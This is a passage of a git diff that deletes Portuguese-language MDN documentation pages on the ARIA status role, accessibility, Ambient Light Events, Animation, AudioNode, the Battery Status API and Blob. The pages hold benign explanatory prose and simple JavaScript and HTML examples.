role status é um tipo de live region para avisos que não são suficientemente importantes para constarem de um alert. Tais avisos são normalmente apresentados como uma barra de estado. Quando o role é adicionado ao elemento, o browser envia um evento de estado para produtos de tecnologia assitiva, que por sua vez podem alertar o utilizador.

- -

Informação de status tem de ser fornecida num objeto de status, objeto este que não deve poder ser focado. Se outra parte da página controla o que aparece como status, deve-se utilizar o atributo aria-controls para relacionar essa parte da página com o objeto de status.

- -

Produtos de tecnologias assistiva podem reservar determinadas células de uma tela Braille para exibir o status.

- -

Possível impacto em user agents e tecnologia assistiva 

- -

Quando o role status é adicionado a um elemento, ou quando esse elemento fica visível, o user agent deve:

- -
    -
  • Expôr o elemento como tendo um role de status através da API de acessibilidade do sistema operativo. 
  • -
  • Emitir um evento status acessível através da API de acessibilidade do sistema operativo, se possível.
  • -
- -

Produtos de tecnologia assistiva devem captar o evento de estado e notificar o utilizador adequadamente:

- -
    -
  • Leitores de ecrã (screen readers) podem implementar uma tecla especial para anunciar o status atual, apresentando assim o conteúdo de uma live region de status. Estes devem ser anunciados apenas quando o utilizador está inativo, a menos que se tenha definido o atributo aria-live=”assertive”, caso em que o utilizador pode ser interrompido. 
  • -
  • Ampliadores de ecrã (screen magnifiers) poderão aumentar o tamanho do status.
  • -
- -
Nota: Opiniões sobre como produtos de tecnologia assistiva lidam com esta técnica podem variar. A informação acima é apenas uma dessas opiniões, pelo que não pode ser considerada normativa.
- -

Exemplos

- -

Exemplo 1: Adicionar o role status em HTML

- -

O snippet em baixo mostra como se pode adicionar o role de status diretamente em código HTML. 

- -
<p role="status">Your changes were automatically saved.</p> 
- -

Exemplos a Correr:

- -
    -
- -

Notas 

- -

Atribuos ARIA utilizados

- - - -

Técnicas ARIA relacionadas 

- - - -

Compatibilidade

- -
    -
  • -

    The Paciello Group publicou dados sobre da compatibilidade deste role num artigo de 2014: Screen reader support for ARIA live regions

    -
  • -
  • -

    A determinar: Adicionar informação atualizada sobre combinações comuns de produtos de tecnologia assistiva comuser agents

    -
  • -
- -

Mais recursos

- - diff --git a/files/pt-pt/web/accessibility/aria/index.html b/files/pt-pt/web/accessibility/aria/index.html deleted file mode 100644 index 3544038b4b..0000000000 --- a/files/pt-pt/web/accessibility/aria/index.html +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: ARIA -slug: Web/Accessibility/ARIA -tags: - - ARIA - - Acessibilidade - - Web -translation_of: Web/Accessibility/ARIA -original_slug: Web/Acessibilidade/ARIA ---- -

Accessible Rich Internet Applications (ARIA) define as maneiras para tornar o conteúdo da Web e aplicações da Web (especialmente aqueles desenvolvidos com Ajax e JavaScript) mais acessíveis para as pessoas com deficiência. Por exemplo, ARIA permite marcos de navegação acessíveis, widgets de JavaScript, dicas de formulário e mensagens de erro, atualizações de conteúdo live e muito mais.

- -

ARIA é um conjunto de atributos de acessibilidade especiais que podem ser adicionados a qualquer marcação, mas é especialmente adequado para HTML. . O atributo role define que tipo geral de objeto é (tais como um artigo, alerta, ou cursor). Os atributos ARIA adicionais fornecem outras propriedades úteis, tais como uma descrição para um formulário ou o valor atual de uma barra de progresso.

- -

ARIA é implementado na maioria dos navegadores populares e leitores de ecrã. No entanto, as implementações variam e as tecnologias mais antigas não o suportam bem (se for o caso). Utilize ARIA 'seguro' que se degrada graciosamente, ou peça aos utilizadores que atualizem para a nova tecnologia.

- -
-

Nota: por favor, contribua e melhore ARIA para a próxima pessoa! Não tem tempo? Envie as sugestões para a lista de endereços de acessibilidade da Mozilla, ou canal IRC #accessibility.

-
- -
-
-

Iniciação com ARIA

- -
-
Introduction to ARIA
-
A quick introduction to making dynamic content accessible with ARIA. See also the classic ARIA intro by Gez Lemon, from 2008.
-
Web Applications and ARIA FAQ
-
Answers common questions about WAI-ARIA and why it's needed to make web applications accessible.
-
Videos of Screen Readers Using ARIA
-
See both real and simplified examples from around the web, including "before" and "after" ARIA videos.
-
Using ARIA
-
A practical guide for developers. It suggests what ARIA attributes to use on HTML elements. Suggestions are based on implementation realities.
-
- -

Melhoramentos ARIA Simples

- -
-
Enhancing Page Navigation with ARIA Landmarks
-
A nice intro to using ARIA landmarks to improve web page navigation for screen reader users. See also, ARIA landmark implementation notes and examples on real sites (updated as of July 2011).
-
Improving Form Accessibility
-
ARIA is not just for dynamic content! Learn how to improve accessibility of HTML forms using additional ARIA attributes.
-
Live regions (work-in-progress)
-
Live regions provide suggestions to screen readers about how to handle changes to the contents of a page.
-
Using ARIA Live Regions to Announce Content Changes
-
A quick summary of live regions, by the makers of JAWS screen reader software. Live regions are also supported by NVDA with Firefox, and VoiceOver with Safari.
-
- -

ARIA para Widgets Scripted

- -
-
Keyboard Navigation and Focus for JavaScript Widgets
-
The first step in developing an accessible JavaScript widget is to make it keyboard navigable. This article steps through the process. The Yahoo! focus management article is a great resource as well.
-
Style Guide for Keyboard Navigation
-
A challenge with ARIA is getting developers to implement consistent behavior — clearly best for users. This style guide describes the keyboard interface for common widgets.
-
- -

ARIA - Recursos

- -
-
Need a slider, a menu, or another kind of widget? Find resources here.
-
ARIA-Enabled JavaScript UI Libraries
-
If you're starting a new project, choose a UI widget library with ARIA support already built-in. Warning: this is from 2009 — content should be moved to an MDN page where it can be updated.
-
-
- -
-

Lista de Endereços

- -
-
Free ARIA Google Group
-
A place to ask questions about ARIA, as well as make suggestions for improving the ARIA documentation found on these pages.
-
- -

Blogues

- -

ARIA information on blogs tends to get out of date quickly. Still, there is some great info out there from other developers making ARIA work today.

- -

Paciello Group

- -

Accessible Culture

- -

Comunicar Erros (Bugs)

- -

File ARIA bugs on browsers, screen readers, and JavaScript libraries.

- -

Exemplos

- -
-
ARIA Examples Library
-
A set of barebones example files which are easy to learn from.
-
Accessible JS Widget Library Demos
-
jQuery, YUI
-
Yahoo! Mail
-
Yahoo! puts it all together with Yahoo! Mail, a web app that almost looks like a native app. It works very well. As a review of Yahoo! Mail by screen reader Marco Zehe says, "Keep up the good work!".
-
Yahoo! Search
-
Yahoo! has done an amazing job of advancing ARIA here, by exercising ARIA's full capabilities and sharing their techniques. Yahoo! Search uses a combination of ARIA landmarks, live regions, and widgets.
-
- -

Esforços de  Uniformização

- -
-
WAI-ARIA Activities Overview at W3C
-
Authoritative Overview of WAI-ARIA Standardization efforts by the Web Accessibility Initiative (WAI)
-
WAI-ARIA Specification
-
The W3C specification itself, useful as a reference. Note that, at this stage, it is important to test compatibility, as implementations are still inconsistent.
-
WAI-ARIA Authoring Practices
-
-

Like the W3C WAI-ARIA specification, the official best practices represents a future ideal — a day when authors can rely on consistent ARIA support across browsers and screen readers. The W3C documents provide an in-depth view of ARIA.

- -

For now, web developers implementing ARIA should maximize compatibility. Use best practices docs and examples based on current implementations.

-
-
Open AJAX Accessibility Task Force
-
The Open AJAX effort centers around developing tools, sample files, and automated tests for ARIA.
-
Under Construction: WCAG 2.0 ARIA Techniques
-
The community needs a complete set of WCAG techniques for WAI-ARIA + HTML, so that organizations can be comfortable claiming their ARIA-enabled content is WCAG compliant. This is important when regulations or policies are based on WCAG.
-
-
-
- - - -

Acessibilidade, AJAX, JavaScript

diff --git a/files/pt-pt/web/accessibility/index.html b/files/pt-pt/web/accessibility/index.html deleted file mode 100644 index 11ee6b8de1..0000000000 --- a/files/pt-pt/web/accessibility/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: Acessibilidade -slug: Web/Accessibility -tags: - - Acessibilidade -translation_of: Web/Accessibility -original_slug: Web/Acessibilidade ---- -

A acessibilidade no desenvolvimento da Web significa habilitar o maior número possível de pessoas para usar sites da Web, mesmo quando as habilidades dessas pessoas são limitadas de alguma forma. Aqui, fornecemos informações sobre o desenvolvimento de conteúdo para serem acessíveis.

- -

" A acessibilidade é mais usada para descrever instalações ou amenidades para ajudar as pessoas com deficiência, como em 'acessível para cadeiras de rodas'. Isso pode se estender a sinalização de Braille, rampas para cadeiras de rodas, sinais de áudio em passagens para pedestres, contornos de passarelas, design de sites, e assim por diante ." Entrada da Wikipédia para 'Acessibilidade'

- -

"A Web é fundamentalmente projetada para trabalhar para todas as pessoas, seja qual for seu hardware, software, idioma, cultura, localização ou habilidade física ou mental. Quando a Web atende esse objetivo, é acessível para pessoas com uma diversidade de audiência, movimento, visão e capacidade cognitiva ." W3C - Acessibilidade (inglês)

- -
-
-

Key tutorials

- -

The MDN Accessibility Learning Area contains modern, up-to-date tutorials covering accessibility essentials:

- -
-
What is accessibility?
-
This article starts off the module with a good look at what accessibility actually is — this includes what groups of people we need to consider and why, what tools different people use to interact with the Web, and how we can make accessibility part of our web development workflow.
-
HTML: A good basis for accessibility
-
A great deal of web content can be made accessible just by making sure the correct HTML elements are used for the correct purpose at all times. This article looks in detail at how HTML can be used to ensure maximum accessibility.
-
CSS and JavaScript accessibility best practices
-
CSS and JavaScript, when used properly, also have the potential to allow for accessible web experiences ... or they can significantly harm accessibility if misused. This article outlines some CSS and JavaScript best practices that should be considered to ensure even complex content is as accessible as possible.
-
WAI-ARIA basics
-
Following on from the previous article, sometimes making complex UI controls that involve unsemantic HTML and dynamic JavaScript-updated content can be difficult. WAI-ARIA is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on. Here we'll show how to use it at a basic level to improve accessibility.
-
Accessible multimedia
-
Another category of content that can create accessibility problems is multimedia — video, audio, and image content need to be given proper textual alternatives so they can be understood by assistive technologies and their users. This article shows how.
-
Mobile accessibility
-
With web access on mobile devices being so popular, and popular platforms such as iOS and Android having fully-fledged accessibility tools, it is important to consider the accessibility of your web content on these platforms. This article looks at mobile-specific accessibility considerations.
-
-
- -
-

Other documentation

- -
-
Understanding the Web Content Accessibility Guidelines
-
-

This set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the W3C Web Content Accessibility Guidelines 2.0 (WCAG 2.0 or just WCAG, for the purposes of this writing).

-
-
Keyboard-navigable JavaScript widgets
-
Until now, web developers who want to make their styled <div> and <span> based widgets have lacked the proper techniques. Keyboard accessibility is part of the minimum accessibility requirements which a developer should be aware of.
-
ARIA
-
A collection of articles to learn how to use ARIA to make your HTML documents more accessible.
-
Assistive technology (AT) development
-
A collection of articles intended for AT developers
-
Mobile accessibility checklist
-
This document provides a concise checklist of accessibility requirements for mobile app developers.
-
Cognitive accessibility
-
When creating web content, be aware of how you can ensure that it is accessible to people cognitive impairments.
-
Accessibility for seizure disorders
-
Some types of visual web content can induce seizures in people with certain brain disorders. Understand the types of content that can be problematic, and find tools and strategies to help you avoid them.
-
-
- -

View all articles about Accessibility...

-
- -

See also

- - -
diff --git a/files/pt-pt/web/api/ambient_light_events/index.html b/files/pt-pt/web/api/ambient_light_events/index.html deleted file mode 100644 index 0605b2098a..0000000000 --- a/files/pt-pt/web/api/ambient_light_events/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Eventos de Luz Ambiente -slug: Web/API/Ambient_Light_Events -tags: - - Luz Ambiente -translation_of: Web/API/Ambient_Light_Events -original_slug: Web/API/Eventos_de_Luz_Ambiente ---- -
{{DefaultAPISidebar("Ambient Light Events")}}{{SeeCompatTable}}
- -

Os eventos de luz ambiente são uma maneira prática de tornar uma página da Web ou um aplicação ciente de qualquer alteração na intensidade da luz. Isto permite-lhes reagir a essa alteração, por exemplo, alterando o contraste da cor da interface do utilizador (IU) ou alterando a exposição necessária para tirar uma fotografia.

- -

Eventos de Luz

- -

When the light sensor of a device detects a change in the light level, it notifies the browser of that change. When the browser gets such a notification, it fires a {{domxref("DeviceLightEvent")}} event that provides information about the exact light intensity.

- -

This event can be captured at the window object level by using the {{domxref("EventTarget.addEventListener","addEventListener")}} method (using the {{event("devicelight")}} event name) or by attaching an event handler to the {{domxref("window.ondevicelight")}} property.

- -

Once captured, the event object gives access to the light intensity expressed in lux through the {{domxref("DeviceLightEvent.value")}} property.

- -

Exemplo

- -
if ('ondevicelight' in window) {
-  window.addEventListener('devicelight', function(event) {
-    var body = document.querySelector('body');
-    if (event.value < 50) {
-      body.classList.add('darklight');
-      body.classList.remove('brightlight');
-    } else {
-      body.classList.add('brightlight');
-      body.classList.remove('darklight');
-    }
-  });
-} else {
-  console.log('devicelight event not supported');
-}
-
- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName("AmbientLight", "", "Ambient Light Events")}}{{Spec2("AmbientLight")}}Initial definition
- -

Compatibilidade de navegador

- - - -

{{Compat("api.DeviceLightEvent")}}

- -

 

- -

Consultar também

- -
    -
  • {{domxref("DeviceLightEvent")}}
  • -
  • {{event("devicelight")}}
  • -
diff --git a/files/pt-pt/web/api/animation/index.html b/files/pt-pt/web/api/animation/index.html deleted file mode 100644 index 3921533613..0000000000 --- a/files/pt-pt/web/api/animation/index.html +++ /dev/null @@ -1,142 +0,0 @@ ---- -title: Animation -slug: Web/API/Animation -tags: - - API - - Animations - - Animações da Web - - Experimental - - Interface - - Referencia - - api de animações da web - - waapi -translation_of: Web/API/Animation ---- -
{{ APIRef("Web Animations") }}{{SeeCompatTable}}
- -

The Animation interface of the Web Animations API represents a single animation player and provides playback controls and a timeline for an animation node or source.

- -

Construtor

- -
-
{{domxref("Animation.Animation()", "Animation()")}}
-
Creates a new Animation object instance.
-
- -

Propriedades

- -
-
{{domxref("Animation.currentTime")}}
-
The current time value of the animation in milliseconds, whether running or paused. If the animation lacks a {{domxref("AnimationTimeline", "timeline")}}, is inactive or hasn't been played yet, its value is null.
-
- -
-
{{domxref("Animation.effect")}}
-
Gets and sets the {{domxref("AnimationEffectReadOnly")}} associated with this animation. This will usually be a {{domxref("KeyframeEffect")}} object.
-
{{domxref("Animation.finished")}} {{readOnlyInline}}
-
Returns the current finished Promise for this animation.
-
- -
-
{{domxref("Animation.id")}}
-
Gets and sets the String used to identify the animation.
-
{{domxref("Animation.pending")}} {{readonlyinline}}
-
Indicates whether the animation is currently waiting for an asynchronous operation such as initiating playback or pausing a running animation.
-
{{domxref("Animation.playState")}} {{readOnlyInline}}
-
Returns an enumerated value describing the playback state of an animation.
-
- -
-
{{domxref("Animation.playbackRate")}}
-
Gets or sets the playback rate of the animation.
-
- -
-
{{domxref("Animation.ready")}} {{readOnlyInline}}
-
Returns the current ready Promise for this animation.
-
- -
-
{{domxref("Animation.startTime")}}
-
Gets or sets the scheduled time when an animation's playback should begin.
-
- -
-
{{domxref("Animation.timeline")}}
-
Gets or sets the {{domxref("AnimationTimeline", "timeline")}} associated with this animation.
-
- -

Manipuladores de evento

- -
-
{{domxref("Animation.oncancel")}}
-
Gets and sets the event handler for the cancel event.
-
{{domxref("Animation.onfinish")}}
-
Gets and sets the event handler for the finish event.
-
- -

Métodos

- -
-
{{domxref("Animation.cancel()")}}
-
Clears all {{domxref("KeyframeEffect", "keyframeEffects")}} caused by this animation and aborts its playback.
-
- -
-
{{domxref("Animation.finish()")}}
-
Seeks either end of an animation, depending on whether the animation is playing or reversing.
-
- -
-
{{domxref("Animation.pause()")}}
-
Suspends playing of an animation.
-
- -
-
{{domxref("Animation.play()")}}
-
Starts or resumes playing of an animation, or begins the animation again if it previously finished.
-
- -
-
{{domxref("Animation.reverse()")}}
-
Reverses playback direction, stopping at the start of the animation. If the animation is finished or unplayed, it will play from end to beginning.
-
{{domxref("Animation.updatePlaybackRate()")}}
-
Sets the speed of an animation after first synchronizing its playback position.
-
- -

Preocupações de acessibilidade

- -

Blinking and flashing animation can be problematic for people with cognitive concerns such as Attention Deficit Hyperactivity Disorder (ADHD). Additionally, certain kinds of motion can be a trigger for Vestibular disorders, epilepsy, and migraine and Scotopic sensitivity.

- -

Consider providing a mechanism for pausing or disabling animation, as well as using the Reduced Motion Media Query to create a complimentary experience for users who have expressed a preference for no animated experiences.

- - - -

Especificações

- - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName("Web Animations", "#the-animation-interface", "Animation")}}{{Spec2("Web Animations")}}Initial definition
- -

Compatibilidade de navegador

- - - -

{{Compat("api.Animation")}}

diff --git a/files/pt-pt/web/api/audionode/index.html b/files/pt-pt/web/api/audionode/index.html deleted file mode 100644 index df63de86c6..0000000000 --- a/files/pt-pt/web/api/audionode/index.html +++ /dev/null @@ -1,207 +0,0 @@ ---- -title: AudioNode -slug: Web/API/AudioNode -tags: - - API - - AudioNode - - Interface - - NeedsTranslation - - Reference - - TopicStub - - Web Audio API -translation_of: Web/API/AudioNode ---- -

{{ APIRef("Web Audio API") }}

- -

The AudioNode interface is a generic interface for representing an audio processing module like an audio source (e.g. an HTML {{HTMLElement("audio")}} or {{HTMLElement("video")}} element, an {{domxref("OscillatorNode")}}, etc.), the audio destination, intermediate processing module (e.g. a filter like {{domxref("BiquadFilterNode")}} or {{domxref("ConvolverNode")}}), or volume control (like {{domxref("GainNode")}}).

- -

{{InheritanceDiagram}}

- -

AudioNodes participating in an AudioContext create a audio routing graph.

- -

An AudioNode has inputs and outputs, each with a given amount of channels. An AudioNode with zero inputs and one or multiple outputs is called a source node. The exact processing done varies from one AudioNode to another but, in general, a node reads its inputs, does some audio-related processing, and generates new values for its outputs, or simply lets the audio pass through (for example in the {{domxref("AnalyserNode")}}, where the result of the processing is accessed separately).

- -

Different nodes can be linked together to build a processing graph. Such a graph is contained in an {{domxref("AudioContext")}}. Each AudioNode participates in exactly one such context. In general, processing nodes inherit the properties and methods of AudioNode, but also define their own functionality on top. See the individual node pages for more details, as listed on the Web Audio API homepage.

- -
-

Note: An AudioNode can be target of events, therefore it implements the {{domxref("EventTarget")}} interface.

-
- -

Properties

- -
-
{{domxref("AudioNode.context")}} {{readonlyInline}}
-
Returns the associated {{domxref("AudioContext")}}, that is the object representing the processing graph the node is participating in.
-
- -
-
{{domxref("AudioNode.numberOfInputs")}} {{readonlyInline}}
-
Returns the number of inputs feeding the node. Source nodes are defined as nodes having a numberOfInputs property with a value of 0.
-
- -
-
{{domxref("AudioNode.numberOfOutputs")}} {{readonlyInline}}
-
Returns the number of outputs coming out of the node. Destination nodes — like {{ domxref("AudioDestinationNode") }} — have a value of 0 for this attribute.
-
- -
-
{{domxref("AudioNode.channelCount")}}
-
Represents an integer used to determine how many channels are used when up-mixing and down-mixing connections to any inputs to the node. Its usage and precise definition depend on the value of {{domxref("AudioNode.channelCountMode")}}.
-
- -
-
{{domxref("AudioNode.channelCountMode")}}
-
Represents an enumerated value describing the way channels must be matched between the node's inputs and outputs.
-
{{domxref("AudioNode.channelInterpretation")}}
-
Represents an enumerated value describing the meaning of the channels. This interpretation will define how audio up-mixing and down-mixing will happen.
- The possible values are "speakers" or "discrete".
-
- -

Methods

- -

Also implements methods from the interface {{domxref("EventTarget")}}.

- -
-
{{domxref("AudioNode.connect()")}}
-
Allows us to connect the output of this node to be input into another node, either as audio data or as the value of an {{domxref("AudioParam")}}.
-
{{domxref("AudioNode.disconnect()")}}
-
Allows us to disconnect the current node from another one it is already connected to.
-
- -

Example

- -

This simple snippet of code shows the creation of some audio nodes, and how the AudioNode properties and methods can be used. You can find examples of such usage on any of the examples linked to on the Web Audio API landing page (for example Violent Theremin.)

- -
var AudioContext = window.AudioContext || window.webkitAudioContext;
-
-var audioCtx = new AudioContext();
-
-var oscillator = audioCtx.createOscillator();
-var gainNode = audioCtx.createGain();
-
-oscillator.connect(gainNode);
-gainNode.connect(audioCtx.destination);
-
-oscillator.context;
-oscillator.numberOfInputs;
-oscillator.numberOfOutputs;
-oscillator.channelCount;
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-audionode-interface', 'AudioNode')}}{{Spec2('Web Audio API')}} 
- -

Browser compatibility

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}}{{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
{{CompatVersionUnknown}}
channelCount channelCountMode{{CompatVersionUnknown}} {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
connect(AudioParam){{CompatVersionUnknown}} {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}25.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
channelCount
- channelCountMode
{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
connect(AudioParam){{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

See also

- - diff --git a/files/pt-pt/web/api/battery_status_api/index.html b/files/pt-pt/web/api/battery_status_api/index.html deleted file mode 100644 index 3b9bf25ab6..0000000000 --- a/files/pt-pt/web/api/battery_status_api/index.html +++ /dev/null @@ -1,170 +0,0 @@ ---- -title: API do Estado da Bateria -slug: Web/API/Battery_Status_API -tags: - - API - - API de Bateria - - API do Estado da Bateria - - Aplicações - - Apps - - Firefox OS - - Guía - - Movel - - Resumo - - Sinopse -translation_of: Web/API/Battery_Status_API -original_slug: Web/API/API_do_Estado_da_Bateria ---- -
{{obsolete_header}}
- -
{{DefaultAPISidebar("Battery API")}}
- -

A API do Estado da Bateria, mais conhecida como API de Bateria, fornece informação sobre o nível de carga da bateria do sistema e permite-lhe que seja notificado por eventos que são enviados quando o nível da bateria ou o estado de carregamento é alterado. Isto pode ser utilizado para ajustar a utilização de recursos da aplicação para reduzir o consumo de bateria quando a bateria estiver fraca ou para guardar as alterações antes que a bateria acabe para evitar a perda de dados.

- -

The Battery Status API extends {{domxref("window.navigator")}} with a {{domxref("navigator.getBattery()")}} method returning a battery promise, which is resolved in a {{domxref("BatteryManager")}} object providing also some new events you can handle to monitor the battery status.

- -

Exemplo

- -

In this example, we watch for changes both to the charging status (whether or not we're plugged in and charging) and for changes to the battery level and timing. This is done by listening for the {{event("chargingchange")}}, {{event("levelchange")}}, {{event("chargingtimechange")}}, {{event("dischargingtimechange")}} events.

- -
navigator.getBattery().then(function(battery) {
-  function updateAllBatteryInfo(){
-    updateChargeInfo();
-    updateLevelInfo();
-    updateChargingInfo();
-    updateDischargingInfo();
-  }
-  updateAllBatteryInfo();
-
-  battery.addEventListener('chargingchange', function(){
-    updateChargeInfo();
-  });
-  function updateChargeInfo(){
-    console.log("Battery charging? "
-                + (battery.charging ? "Yes" : "No"));
-  }
-
-  battery.addEventListener('levelchange', function(){
-    updateLevelInfo();
-  });
-  function updateLevelInfo(){
-    console.log("Battery level: "
-                + battery.level * 100 + "%");
-  }
-
-  battery.addEventListener('chargingtimechange', function(){
-    updateChargingInfo();
-  });
-  function updateChargingInfo(){
-    console.log("Battery charging time: "
-                 + battery.chargingTime + " seconds");
-  }
-
-  battery.addEventListener('dischargingtimechange', function(){
-    updateDischargingInfo();
-  });
-  function updateDischargingInfo(){
-    console.log("Battery discharging time: "
-                 + battery.dischargingTime + " seconds");
-  }
-
-});
-
- -

See also the example in the specification.

- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName("Battery API")}}{{Spec2("Battery API")}}Initial definition
- -

Compatibilidade do navegador

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(39.0)}}{{CompatGeckoDesktop("10")}} {{property_prefix("moz")}}
- {{CompatGeckoDesktop("16")}}[1]
- {{CompatGeckoDesktop("43")}}[3]
- {{CompatGeckoDesktop("52")}}[4]
{{CompatNo}}25{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(40.0)}} -

{{CompatGeckoMobile("10")}} {{property_prefix("moz")}}
- {{CompatGeckoMobile("16")}}[1]
- {{CompatGeckoMobile("43")}}[3]
- {{CompatGeckoMobile("52")}}[3]

-
{{CompatNo}}25[2]{{CompatNo}}{{CompatChrome(42.0)}}[2]
-
- -

[1] Disabled by default in Firefox 10.0, but can be enabled setting the preference dom.battery.enabled to true. Starting with Firefox 11.0, mozBattery is enabled by default. The Battery API is currently supported on Android, Windows, and Linux with UPower installed. Support for MacOS is available starting with Gecko 18.0 {{geckoRelease("18.0")}}. Firefox also provides support for the deprecated {{domxref("navigator.battery")}}.

- -

[2] Values for {{domxref("BatteryManager.chargingTime")}} and {{domxref("BatteryManager.dischargingTime")}} are always equal to Infinity.

- -

[3] The new promise-based syntax for {{domxref("Navigator.getBattery()")}} is supported from Firefox 43 onwards.

- -

[4] From Firefox 52 onwards, the Battery Status API is only available in chrome/privileged code.

- -

Consultar também

- - diff --git a/files/pt-pt/web/api/blob/blob/index.html b/files/pt-pt/web/api/blob/blob/index.html deleted file mode 100644 index a00a527076..0000000000 --- a/files/pt-pt/web/api/blob/blob/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Blob() -slug: Web/API/Blob/Blob -tags: - - API - - Blob - - Construtor - - File API - - Referencia -translation_of: Web/API/Blob/Blob ---- -
{{APIRef("File API")}}
- -

O construtor Blob() devolve um novo objeto {{domxref("Blob")}}. O conteúdo do objeto Blob consiste na concatenação dos valores na matriz do primeiro parâmetro.

- -

Sintaxe

- -
var novoBlob = new Blob(array, options);
-
- -

Parâmetros

- -
-
array
-
Uma {{jsxref("Array")}} de {{jsxref("ArrayBuffer")}}, {{domxref("ArrayBufferView")}}, {{domxref("Blob")}}, {{domxref("USVString")}}, {{domxref("USVString")}}, ou uma mistura de quaisquer desses objetos, que serão colocados dentro do objeto {{domxref("Blob")}}. Os objetos USVString são codificados como UTF-8.
-
options {{optional_inline}}
-
-

Um objeto opcional do tipo {{domxref("BlobPropertyBag")}} que pode especificar qualquer uma das seguintes propriedades:

- -
-
type {{optional_inline}}
-
O {{Glossary("MIME type", "tipo MIME")}} dos dados que serão armazenados no blob. O valor predefinido é uma string vazia, ("").
-
endings {{optional_inline}} {{non-standard_inline}}
-
Como interpretar os caracteres de nova linha (\n), se os dados são textos. O valor predefinido, transparent, copia os caracteres da nova linha para o blob sem os alterar. Para converter as novas linhas para a convenção nativa do sistema anfitrião, use o valor native.
-
-
-
- -

Valor devolvido

- -

Um novo objeto {{domxref("Blob")}} que contém os dados especificados.

- -

Exemplo

- -
var dadosParaFicheiro = ['<a id="a"><b id="b">hey!</b></a>']; // uma matriz constituída por uma única DOMString
-var oMeuBlob = new Blob(dadosParaFicheiro, {type : 'text/html'}); // o blob
- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('File API', '#constructorBlob', 'Blob()')}}{{Spec2('File API')}}Definição inicial.
- -

Compatibilidade

- - - -

{{Compat("api.Blob.Blob")}}

- -

Ver também

- -
    -
  • A interface obsoleta {{domxref("BlobBuilder")}} que este construtor substitui.
  • -
diff --git a/files/pt-pt/web/api/blob/index.html b/files/pt-pt/web/api/blob/index.html deleted file mode 100644 index 878bc85e5e..0000000000 --- a/files/pt-pt/web/api/blob/index.html +++ /dev/null @@ -1,157 +0,0 @@ ---- -title: Blob -slug: Web/API/Blob -tags: - - API - - Blob - - File API - - Interface - - NeedsTranslation - - Raw - - Reference - - TopicStub - - data -translation_of: Web/API/Blob ---- -
{{APIRef("File API")}}
- -

The Blob object represents a blob, which is a file-like object of immutable, raw data; they can be read as text or binary data, or converted into a {{DOMxRef("ReadableStream")}} so its methods can be used for processing the data.

- -

Blobs can represent data that isn't necessarily in a JavaScript-native format. The {{DOMxRef("File")}} interface is based on Blob, inheriting blob functionality and expanding it to support files on the user's system.

- -

Using blobs

- -

To construct a Blob from other non-blob objects and data, use the {{DOMxRef("Blob.Blob", "Blob()")}} constructor. To create a blob that contains a subset of another blob's data, use the {{DOMxRef("Blob.slice()", "slice()")}} method. To obtain a Blob object for a file on the user's file system, see the {{DOMxRef("File")}} documentation.

- -

The APIs accepting Blob objects are also listed in the {{DOMxRef("File")}} documentation.

- -

Constructor

- -
-
{{DOMxRef("Blob.Blob", "Blob()")}}
-
Returns a newly created Blob object which contains a concatenation of all of the data in the array passed into the constructor.
-
- -

Instance properties

- -
-
{{DOMxRef("Blob.prototype.size")}} {{readonlyinline}}
-
The size, in bytes, of the data contained in the Blob object.
-
{{DOMxRef("Blob.prototype.type")}} {{readonlyinline}}
-
A string indicating the MIME type of the data contained in the Blob. If the type is unknown, this string is empty.
-
- -

Instance methods

- -
-
{{DOMxRef("Blob.prototype.arrayBuffer()")}}
-
Returns a promise that resolves with an {{DOMxRef("ArrayBuffer")}} containing the entire contents of the Blob as binary data.
-
{{DOMxRef("Blob.prototype.slice()")}}
-
Returns a new Blob object containing the data in the specified range of bytes of the blob on which it's called.
-
{{DOMxRef("Blob.prototype.stream()")}}
-
Returns a {{DOMxRef("ReadableStream")}} that can be used to read the contents of the Blob.
-
{{DOMxRef("Blob.prototype.text()")}}
-
Returns a promise that resolves with a {{DOMxRef("USVString")}} containing the entire contents of the Blob interpreted as UTF-8 text.
-
- -

Examples

- -

Creating a blob

- -

